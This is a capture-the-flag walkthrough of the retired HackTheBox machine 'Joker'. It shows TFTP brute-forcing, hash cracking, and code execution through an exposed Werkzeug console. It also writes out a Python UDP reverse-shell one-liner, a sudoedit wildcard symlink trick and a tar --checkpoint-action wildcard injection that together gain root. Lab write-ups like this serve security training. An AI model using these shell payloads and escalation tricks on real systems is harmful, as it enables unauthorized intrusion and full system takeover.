This is probably the first hard box that I actually enjoyed on HackTheBox. Most of the things clicked and I was able to get through much of it fairly quickly overall. Highly recommend this one.

Initial Enumeration

Fire off a quick nmap scan to get us going.

root@kali:~/htb/joker# nmap -sV

Nmap scan report for joker (
Host is up (0.066s latency).
Not shown: 998 filtered ports
22/tcp   open  ssh        OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open  http-proxy Squid http proxy 3.5.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSH usually isn’t of much interest unless it’s a severly outdated version so let’s look at port 3128 which seems to be a Squid proxy. Let’s try to go through the proxy via browser and see what we can get.


Immediately after exiting the settings we are prompted with this message:


I tried a few simple passwords but no such luck. There’s also an NMAP NSE Script called http-proxy-bruteforce that will attempt to bruteforce the password. No success from that either.

Let’s rerun nmap to search all TCP ports and let’s also do a basic UDP scan to see if there is something else open.

root@kali:~/htb/joker# nmap -sU

Starting Nmap 7.50 ( ) at 2017-12-29 14:46 EST
Initiating Ping Scan at 14:46
Scanning [4 ports]
Completed Ping Scan at 14:46, 0.23s elapsed (1 total hosts)
Initiating UDP Scan at 14:46
Host is up (0.067s latency).
Not shown: 998 closed ports
69/udp   open|filtered tftp
5355/udp open|filtered llmnr

The UDP scan returns that TFTP is open on port 69. Since you cannot list files in a TFTP server the only way to find files is to bruteforce them. Luckily Metasploit has a module that will do this for us.

msf > use auxiliary/scanner/tftp/tftpbrute
msf auxiliary(tftpbrute) > show options

Module options (auxiliary/scanner/tftp/tftpbrute):

   Name        Current Setting                                          Required  Description
   ----        ---------------                                          --------  -----------
   CHOST                                                                no        The local client address
   DICTIONARY  /usr/share/metasploit-framework/data/wordlists/tftp.txt  yes       The list of filenames
   RHOSTS                                                               yes       The target address range or CIDR identifier
   RPORT       69                                                       yes       The target port
   THREADS     1                                                        yes       The number of concurrent threads

msf auxiliary(tftpbrute) > set RHOSTS
msf auxiliary(tftpbrute) > set DICTIONARY /usr/share/wordlists/dirb/common.txt
DICTIONARY => /usr/share/wordlists/dirb/common.txt
msf auxiliary(tftpbrute) > run

[*] Found passwords on
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We load up the tftpbrute module, look at our options, set the RHOSTS to joker’s IP, and also set our own dictionary file. We see that we get a hit for passwords after running for a minute, great! Let’s tftp it over from joker and see whats inside.

root@kali:~/htb/joker# tftp
tftp> get passwords
Received 48 bytes in 0.0 seconds
tftp> quit
root@kali:~/htb/joker# cat passwords

Looks like we are in business, we have a hash for what seems to be the proxy user. Let’s go ahead and see what kind of hash we have to feed into hashcat.

root@kali:~/htb/joker# hash-identifier
   #	 __  __ 		    __		 ______    _____	   #
   #	/\ \/\ \		   /\ \ 	/\__  _\  /\  _ `\	   #
   #	\ \ \_\ \     __      ____ \ \ \___	\/_/\ \/  \ \ \/\ \	   #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R #
   # #
   #			 #

 HASH: $apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0

Possible Hashs:
[+]  MD5(APR)

I run hashcat on my Windows machine directly, there are workarounds to get it to run in Kali but even then I don’t believe you can passthru the host GPU to your VM. It’s much easier to download hashcat and run the exe on windows.

Let’s run hashcat, see if we can find the option for MD5(APR), and crack the hash.

C:\hashcat-3.5.0> .\hashcat64.exe --help | findstr apr
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)            | HTTP, SMTP, LDAP Server

C:\hashcat-3.5.0> .\hashcat64.exe -m 1600 -a 0 -o crackedjoker .\jokerhash.txt .\rockyou.txt
hashcat (v3.5.0) starting...

Output Truncated

C:\hashcat-3.5.0> type .\crackedjoker

So we have the password for the user kalamari as ihateseafood. After browsing to localhost or and inputting our newly found credentials we are presented with a webpage.


After fiddling with the webpage there doesn’t seem to be much we can do with it. Let’s see if we can find any other pages with dirb.

root@kali:~/htb/joker# dirb -p -P kalamari:ihateseafood -r

DIRB v2.22    
By The Dark Raver

START_TIME: Fri Dec 29 15:27:52 2017
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
PROXY AUTHORIZATION: kalamari:ihateseafood
OPTION: Not Recursive


---- Scanning URL: ----
+ (CODE:200|SIZE:1479)                                     
==> DIRECTORY:                       
END_TIME: Fri Dec 29 15:33:08 2017

Looks like we have found a python console. Let’s put it to work.



There are a few different ways to run commands here, as a note this console is single-threaded and if you run commands a certain way it will lock up the console if other people are using it. This really shouldn’t be much of an issue now that the box is retired and has low volume but as a good practice you should use subprocess when running commands. Let’s verify command execution.

[console ready]
>>> import subprocess
>>> subprocess.check_output(['id'])
'uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)\n'

Right off the bat I tried a regular python reverse shell but got no repsonse. Also not able to download files via wget. It seems like a firewall might be blocking connections. We find the iptables rules located in /etc/iptables/rules.v4

>>> subprocess.check_output(['cat','/etc/iptables/rules.v4'])
'# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017\n*filter\n:INPUT DROP [41573:1829596]\n:FORWARD ACCEPT [0:0]\n:OUTPUT ACCEPT [878:221932]\n-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT\n-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT\n-A INPUT -i ens33 -p udp -j ACCEPT\n-A INPUT -i ens33 -p icmp -j ACCEPT\n-A INPUT -i lo -j ACCEPT\n-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP\nCOMMIT\n# Completed on Fri May 19 18:01:16 2017\n'

Let’s clean up the formatting.

# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017
:INPUT DROP [41573:1829596]
:OUTPUT ACCEPT [878:221932]
-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT
-A INPUT -i ens33 -p udp -j ACCEPT
-A INPUT -i ens33 -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP
# Completed on Fri May 19 18:01:16 2017  

Okay so here we can see on the line with OUTPUT that any new outbound TCP connection is explicitly dropped. So what are other options for a shell? Well it just so happens that someone has already made a UDP reverse shell with python here. Which before this box, I did not know was even possible.

We won’t be able to use netcat to catch a UDP shell so we’ll have to use socat as specified in the comments in the python script. After we setup our listener we run our shell in the console.

>>> import subprocess
>>> subprocess.Popen(["python", "-c", 'import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(("", 100)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/bash"); s.close();'])
<subprocess.Popen object at 0x7fbf709745d0>
kali:~/htb/joker# socat file:`tty`,echo=0,raw  udp-listen:100
werkzeug@joker:~$ id
uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)

A good thing to get in the habit of is going ahead and spawning a tty after getting a shell. Let’s do that here with python.

werkzeug@joker:~$ python -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation

Unfortunately we aren’t able to grab the user.txt flag in alekos’ home directory so we will need to escalate first. Let’s see if our current user has any sudo permissions.

werkzeug@joker:/home/alekos$ sudo -l
Matching Defaults entries for werkzeug on joker:
    env_reset, mail_badpass,
    sudoedit_follow, !sudoedit_checkdir

User werkzeug may run the following commands on joker:
    (alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html

Editing a layout.html file doesn’t help us much, but the asterisks look interesting and there’s probably a way to exploit those wildcards. It just so happens that’s exactly what we can do.

In the exploit linked, they explain that sudoedit does not check the full path if a wildcard is used twice. So to exploit that, they create a symbolic link which points to /etc/shadow. Doing this for us won’t really work for us since we only have sudoedit permissions as alekos and not root. So instead what we can do is create a symbolic link to alekos ssh authorized keys file and edit the file to add in our public ssh key.

First we need to create a directory under /var/www/, let’s check the permissions.

werkzeug@joker:/home/alekos$ cd /var/www
werkzeug@joker:~$ ls -al
total 20
drwxr-xr-x  4 root     root     4096 May 18  2017 .
drwxr-xr-x 14 root     root     4096 Oct 23  2016 ..
-rwxr-x---  1 root     werkzeug  581 May 18  2017
drwxr-x---  5 root     werkzeug 4096 May 18  2017 shorty
drwxr-xr-x  2 werkzeug werkzeug 4096 May 18  2017 testing

Looks like the testing directory will work nicely.

werkzeug@joker:~$ cd testing
werkzeug@joker:~/testing$ ls

There is the original layout.html that’s meant to be edited by sudoedit. We need to create another directory inside of here to exploit that second wildcard. Then create our symbolic link.

werkzeug@joker:~/testing$ mkdir test
werkzeug@joker:~/testing$ cd test
werkzeug@joker:~/testing/test$ ln -s /home/alekos/.ssh/authorized_keys layout.html
werkzeug@joker:~/testing/test$ ls -al
total 8
drwxrwxr-x 2 werkzeug werkzeug 4096 Dec 31 01:02 .
drwxr-xr-x 3 werkzeug werkzeug 4096 Dec 31 01:01 ..
lrwxrwxrwx 1 werkzeug werkzeug   33 Dec 31 01:02 layout.html -> /home/alekos/.ssh/authorized_keys

Our symbolic link is in place. Let’s edit and put our public ssh key in.

werkzeug@joker:/$ sudoedit -u alekos /var/www/testing/test/layout.html

Now we can ssh in as alekos.

root@kali:~/htb/joker# ssh alekos@
Welcome to Ubuntu 16.10 (GNU/Linux 4.8.0-52-generic x86_64)

 * Documentation:
 * Management:
 * Support:

0 packages can be updated.
0 updates are security updates.

Last login: Sat May 20 16:38:08 2017 from

Now we can grab the user.txt flag.

Second Privilege Escalation

We’ve gotten over quite a few hurdles but we still aren’t there as we have yet to get a root shell. Inside of alekos’ home directory are two interesting directorys, development and backup. backup is a folder containing backups of what looks to be the development folder which based off timestamps is running every five minutes. We can also see the tar files are owned by root.

alekos@joker:~$ ls -al
total 116
drwxr-xr-x 7 alekos alekos  4096 May 19  2017 .
drwxr-xr-x 3 root   root    4096 May 16  2017 ..
drwxrwx--- 2 root   alekos 73728 Dec 31 01:20 backup
-rw------- 1 root   root       0 May 17  2017 .bash_history
-rw-r--r-- 1 alekos alekos   220 May 16  2017 .bash_logout
-rw-r--r-- 1 alekos alekos  3771 May 16  2017 .bashrc
drwx------ 2 alekos alekos  4096 May 17  2017 .cache
drwxr-x--- 5 alekos alekos  4096 May 18  2017 development
drwxr-xr-x 2 alekos alekos  4096 May 17  2017 .nano
-rw-r--r-- 1 alekos alekos   655 May 16  2017 .profile
drwxr-xr-x 2 alekos alekos  4096 May 20  2017 .ssh
-r--r----- 1 root   alekos    33 May 19  2017 user.txt
alekos@joker:~$ cd backup
alekos@joker:~/backup$ ls -al
total 67640
drwxrwx--- 2 root   alekos 73728 Dec 31 01:20 .
drwxr-xr-x 7 alekos alekos  4096 May 19  2017 ..
-rw-r----- 1 root   alekos 40960 Dec 25 04:25 dev-1514168701.tar.gz
-rw-r----- 1 root   alekos 40960 Dec 25 04:30 dev-1514169001.tar.gz
-rw-r----- 1 root   alekos 40960 Dec 25 04:35 dev-1514169301.tar.gz
-rw-r----- 1 root   alekos 40960 Dec 25 04:40 dev-1514169601.tar.gz
-rw-r----- 1 root   alekos 40960 Dec 25 04:45 dev-1514169901.tar.gz

After checking for cron jobs there is no sign of what’s running these backups to be found. After thinking on it for a while, it seems logical that whatever is running the backup is probably running something like tar cf *. Yet again another wildcard we can exploit. It just so happens that I’ve ran across this before while working on a vulnhub box.

For a detailed explanation on what to do check here.

Short explanation is we can inject options and parameters into the tar command thats running by naming files with those options/parameters. The wildcard will process the filenames as actual commandline options and run them.

The options we are going to use are --checkpoint and --checkpoint-action. With tar you can specify checkpoints and a checkpoint action which will run commands at each checkpoint. So all we have to do is set a checkpoint action to run another python UDP shell.

Let’s stage our shell.

alekos@joker:~/development$ nano
alekos@joker:~/development$ chmod +x

Create our files. Note you have to use -- to signify the end of command options so it will properly create the file names.

alekos@joker:~/development$ touch -- --checkpoint=1
alekos@joker:~/development$ touch -- '--checkpoint-action=exec=python'

Fire up our socat listener and wait for the job to run.

root@kali:~/htb/joker# socat file:`tty`,echo=0,raw  udp-listen:100
root@joker:/home/alekos/development# id
uid=0(root) gid=0(root) groups=0(root)

And now we have our root shell and can grab the root.txt flag!